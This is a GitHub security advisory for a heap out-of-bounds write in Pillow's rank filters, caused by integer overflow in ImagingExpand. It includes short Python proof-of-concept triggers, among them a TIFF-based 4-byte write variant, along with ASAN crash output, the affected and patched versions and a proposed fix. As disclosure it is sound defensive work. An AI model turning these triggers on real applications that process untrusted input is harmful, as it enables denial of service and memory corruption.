Skip to content

Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`

High severity GitHub Reviewed Published Jul 7, 2026 in python-pillow/Pillow

Package

pip Pillow (pip)

Affected versions

< 12.3.0

Patched versions

12.3.0

Description

Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.

Minimal public API trigger:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.

This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.

Details

Current src/PIL/ImageFilter.py:

class RankFilter(Filter):
    def filter(self, image):
        if image.mode == "P":
            msg = "cannot filter palette images"
            raise ValueError(msg)
        image = image.expand(self.size // 2, self.size // 2)
        return image.rankfilter(self.size, self.rank)

The expand() call is made before image.rankfilter(...).

Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:

if (xmargin < 0 && ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

imOut = ImagingNewDirty(
    imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);

For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:

for (x = 0; x < xmargin; x++) {
    imOut->image[yout][x] = imIn->image[yin][0];
}

src/libImaging/RankFilter.c does contain checks that would reject this size:

if (!(size & 1)) {
    return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
    return (Imaging)ImagingError_ValueError("filter size too large");
}

But those checks are reached only after RankFilter.filter() has already
called image.expand(...).

Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.

PoC

Minimal ASAN crash PoC:

from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))

Observed on local Pillow 12.3.0.dev0 ASAN target:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation

4-byte write variant with source pixel loaded from normal image bytes:

from io import BytesIO
from PIL import Image, ImageFilter

SIZE = 4294967295
PIXEL = 0x41424344

src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE))

Observed ASAN signature:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation

Version checks:

Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
                           validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected

Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.

Possible fix

Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:

if (xmargin < 0 || ymargin < 0) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
    ymargin > (INT_MAX - imIn->ysize) / 2) {
    return (Imaging)ImagingError_ValueError("bad kernel size");
}

References

@radarhere radarhere published to python-pillow/Pillow Jul 7, 2026
Published by the National Vulnerability Database Jul 14, 2026
Published to the GitHub Advisory Database Jul 20, 2026
Reviewed Jul 20, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(46th percentile)

Weaknesses

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number. Learn more on MITRE.

CVE ID

CVE-2026-59197

GHSA ID

GHSA-xj96-63gp-2gmr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.